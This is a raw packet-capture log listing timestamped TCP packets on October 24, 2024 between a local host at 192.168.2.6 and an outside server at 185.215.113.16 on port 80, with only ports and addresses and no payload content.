Oct 24, 2024 11:02:37.581578016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581590891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581670046 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.581671000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.581671000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.581671000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.581671000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.581732988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581746101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581758022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581769943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581783056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581788063 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.581795931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581808090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581808090 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.581820965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581831932 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.581834078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581846952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581855059 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.581867933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581876993 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.581880093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581893921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581917048 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.581933975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581945896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581958055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581969023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581981897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.581984043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.582010031 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.582025051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.582070112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.582081079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.582093000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.582103968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.582119942 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.582129002 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.582144022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.582670927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.582709074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.582720995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.582776070 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.582798958 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.617718935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.617733955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.617747068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.617811918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.617822886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.617841959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.617851973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.617863894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.617872953 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.617938042 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.617954016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.668386936 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.690671921 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696264982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696280956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696293116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696305037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696326017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696336031 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696338892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696352005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696363926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696374893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696387053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696397066 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696398973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696410894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696420908 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696435928 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696451902 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696461916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696480036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696491957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696502924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696515083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696516037 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696527958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696542978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696543932 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696566105 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696741104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696753025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696759939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696770906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696783066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696799994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696794987 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696806908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696813107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696824074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696825027 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696830034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696836948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696847916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696852922 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696860075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696871042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696876049 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696883917 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.696896076 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.696934938 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697096109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697109938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697122097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697133064 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697144032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697149992 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697155952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697166920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697175980 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697180033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697190046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697196007 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697201967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697212934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697221041 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697227001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697240114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697248936 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697252989 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697263956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697267056 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697287083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697299004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697302103 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697314024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697335005 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697369099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697530031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697549105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697561979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697573900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697586060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697592020 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697597980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697608948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697618961 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697621107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697633028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697643995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697647095 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697655916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697664022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697668076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697680950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697690010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697715998 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697726965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697738886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697750092 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697762012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697773933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697773933 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697788000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697802067 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697814941 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697928905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697941065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697953939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697964907 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697977066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.697982073 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.697989941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698000908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698008060 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698013067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698020935 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698024988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698035955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698040009 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698050022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698061943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698071957 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698101997 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698123932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698136091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698147058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698158979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698170900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698172092 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698184013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698191881 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698195934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698209047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698215961 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698240995 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698271036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698291063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698302031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698313951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698326111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698332071 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698338032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698349953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698359966 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698362112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698374987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698385954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698398113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698400021 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698410034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698416948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698425055 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698451996 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698597908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698817968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698838949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698849916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698862076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698874950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698880911 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698888063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698899031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698899984 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698910952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698925018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698929071 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698936939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698941946 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698950052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698961020 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698970079 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.698972940 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698983908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698995113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.698997974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699007988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699018955 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699021101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699032068 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699033022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699047089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699059010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699062109 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699093103 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699228048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699239016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699250937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699263096 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699270010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699274063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699285984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699295998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699295998 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699307919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699326992 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699336052 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699341059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699362993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699373960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699385881 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699397087 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699397087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699409008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699420929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699421883 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699433088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699440002 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699448109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699460030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699464083 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699471951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699482918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699501991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699515104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699527025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699529886 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699538946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699544907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699551105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699562073 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699563980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699574947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699585915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699598074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699604034 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699625969 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699634075 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699817896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699831009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699851990 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699863911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699873924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699876070 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699886084 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699896097 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699898958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699908018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699919939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699929953 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699930906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699943066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699944973 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699955940 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699968100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699979067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699981928 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.699990034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.699995995 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700002909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700012922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700015068 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700023890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700031042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700037003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700048923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700048923 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700068951 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700094938 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700227976 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700239897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700251102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700263023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700270891 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700274944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700285912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700297117 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700297117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700309038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700320959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700323105 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700331926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700342894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700347900 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700354099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.700364113 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.700375080 CEST	80	49756	185.215.113.16	192.168.2.6
